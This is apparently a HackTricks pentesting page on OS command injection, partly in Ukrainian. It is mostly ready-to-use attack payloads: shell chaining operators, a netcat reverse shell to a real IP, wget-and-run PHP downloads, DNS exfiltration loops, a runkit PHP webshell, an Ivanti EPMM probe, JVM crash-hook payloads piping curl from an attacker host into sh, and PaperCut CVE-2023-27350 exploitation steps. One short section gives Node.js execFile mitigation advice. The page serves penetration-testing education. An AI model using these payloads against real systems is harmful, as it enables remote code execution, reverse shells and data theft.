Command Injection

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks

Що таке command Injection?

A command injection дозволяє зловмиснику виконувати довільні команди операційної системи на сервері, що розміщує додаток. Внаслідок цього додаток і всі його дані можуть бути повністю скомпрометовані. Виконання таких команд зазвичай дає зловмиснику неавторизований доступ або контроль над середовищем додатку та базовою системою.

Контекст

Залежно від того, куди вставляються ваші вхідні дані, можливо, вам доведеться закрити контекст у лапках (за допомогою " або ') перед командами.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

PHP двигуни правил з увімкненим runkit

Деякі застосунки реалізують доступні лише для адміну “rule engines”, виконуючи attacker-supplied PHP. Якщо в середовищі увімкнено розширення runkit, нападник може перевизначити або інжектити функції під час виконання й ескалувати редактор правил, який містить тільки логіку, до full PHP RCE.

Індикатори:

  • Admin UI приймає PHP-подібні “rules”, які виконуються.
  • runkit / runkit7 завантажено (phpinfo() або extension_loaded('runkit')).

Приклад зловживання (перевизначити функцію, яку використовують правила, щоб виконати команду):

<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');

Якщо вміст правила зберігається і пізніше виконується, це стає постійним RCE-примітивом у веб-контексті.

Обмеження Bypasses

Якщо ви намагаєтеся виконати довільні команди на linux-машині вам буде цікаво прочитати про ці Bypasses:

Bypass Linux Restrictions

Приклади

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Bash арифметична оцінка в RewriteMap/CGI-style scripts

Помічники RewriteMap, написані на bash, іноді записують параметри запиту у глобальні змінні і пізніше порівнюють їх у арифметичних контекстах ([[ $a -gt $b ]], $((...)), let). Арифметичне розширення повторно розбиває вміст на токени, тому імена змінних або посилання на масиви, контрольовані нападником, розширюються двічі і можуть виконатись.

Шаблон, помічений у Ivanti EPMM RewriteMap helpers:

  1. Params map to globals (stgStartTime, htheValue).
  2. Later check:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. Send st=theValue so gStartTime points to the string theValue.
  2. Send h=gPath['sleep 5'] so theValue contains an array index; during the arithmetic check it runs sleep 5 (swap for a real payload).

Probe (~5s delay then 404 if vulnerable):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

Примітки:

  • Шукайте той самий helper під іншими префіксами (наприклад, /mifs/c/aftstore/fob/).
  • Арифметичні контексти розглядають невідомі токени як ідентифікатори змінних/масивів, тому це дозволяє обійти прості фільтри метасимволів.

Параметри

Нижче — топ 25 параметрів, які можуть бути вразливими до code injection та подібних RCE-уразливостей (з link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Витяг даних: char за char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

Експфільтрація даних через DNS

На основі інструменту з https://github.com/HoLyVieR/dnsbin, також розміщеного на dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Онлайн-інструменти для перевірки ексфільтрації даних через DNS:

  • dnsbin.zhack.ca
  • pingb.in

Обхід фільтрації

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Під час аудиту серверної частини на JavaScript/TypeScript ви часто натраплятимете на Node.js child_process API.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() створює shell (/bin/sh -c), тому будь-який символ, який має спеціальне значення для shell (back-ticks, ;, &&, |, $(), …) призведе до command injection, коли введення користувача конкатенується в рядку.

Пом’якшення: використовуйте execFile() (або spawn() без опції shell) і передавайте кожен аргумент як окремий елемент масиву, щоб shell не використовувався:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Реальний кейс: Synology Photos ≤ 1.7.0-0794 був вразливим через неаутентифіковану подію WebSocket, яка записувала керовані атакуючим дані в id_user, які потім вбудовувалися в виклик exec(), що призводило до RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

Не всі ін’єкції вимагають shell metacharacters. Якщо додаток передає недовірені рядки як аргументи в системну утиліту (навіть через execve/execFile і без shell), багато програм усе одно інтерпретують будь-який аргумент, що починається з - або --, як опцію. Це дозволяє атакуючому змінювати режими, шляхи виводу або викликати небезпечну поведінку, не потрапляючи в shell.

Типові місця, де це зустрічається:

  • Вбудовані web UIs/CGI handlers, що формують команди на кшталт ping <user>, tcpdump -i <iface> -w <file>, curl <url> тощо.
  • Централізовані CGI роутери (наприклад, /cgi-bin/<something>.cgi з параметром-селектором типу topicurl=<handler>), де декілька обробників повторно використовують один і той самий слабкий валідатор.

Що варто спробувати:

  • Надати значення, що починаються з -/--, щоб downstream tool сприйняв їх як флаги.
  • Зловживати флагами, які змінюють поведінку або записують файли, наприклад:
    • ping: -f/-c 100000 щоб навантажити пристрій (DoS)
    • curl: -o /tmp/x щоб записати довільний шлях, -K <url> щоб завантажити конфігурацію під контролем атакуючого
    • tcpdump: -G 1 -W 1 -z /path/script.sh щоб отримати виконання після ротації в небезпечних обгортках
  • Якщо програма підтримує -- (end-of-options), спробуйте обійти наївні помʼякшення, які додають -- у невірне місце.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM діагностичні callbacks для гарантованого exec

Будь-який примітив, що дозволяє вставити аргументи командного рядка JVM (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) можна перетворити на надійний RCE без зміни application bytecode:

  1. Змусьте детермінований крах шляхом зменшення metaspace або heap: -XX:MaxMetaspaceSize=16m (або дуже маленький -Xmx). Це гарантує OutOfMemoryError навіть під час раннього bootstrap.
  2. Прикріпіть обробник помилок: -XX:OnOutOfMemoryError="<cmd>" або -XX:OnError="<cmd>" виконує довільну команду ОС щоразу, коли JVM аварійно завершує роботу.
  3. За бажанням додайте -XX:+CrashOnOutOfMemoryError, щоб уникнути спроб відновлення і зробити payload одноразовим.

Example payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Оскільки ці діагностики розбирає сам JVM, ніякі shell метасимволи не потрібні, і команда виконується з тим самим рівнем привілеїв, що й лаунчер. Помилки Desktop IPC, які пересилають користувацькі JVM flags (див. Localhost WebSocket abuse), отже прямо призводять до OS command execution.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) expose /app?service=page/SetupCompleted; browsing there and clicking Login returns a valid JSESSIONID without credentials (authentication bypass in the setup flow).
  • In Options → Config Editor, set print-and-device.script.enabled=Y and print.script.sandboxed=N to turn on printer scripting and disable the sandbox.
  • In the printer Scripting tab, enable the script and keep printJobHook defined to avoid validation errors, but place the payload outside the function so it executes immediately when you click Apply (no print job needed):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • Замініть callback на reverse shell; якщо UI/PoC не може обробляти pipes/redirects, розгорніть payload однією командою і виконайте його другим request.
  • Horizon3’s CVE-2023-27350.py автоматизує auth bypass, config flips, command execution, and rollback — запускайте його через upstream proxy (наприклад, proxychains → Squid), коли сервіс доступний лише внутрішньо.

Brute-Force Detection List

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

References

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks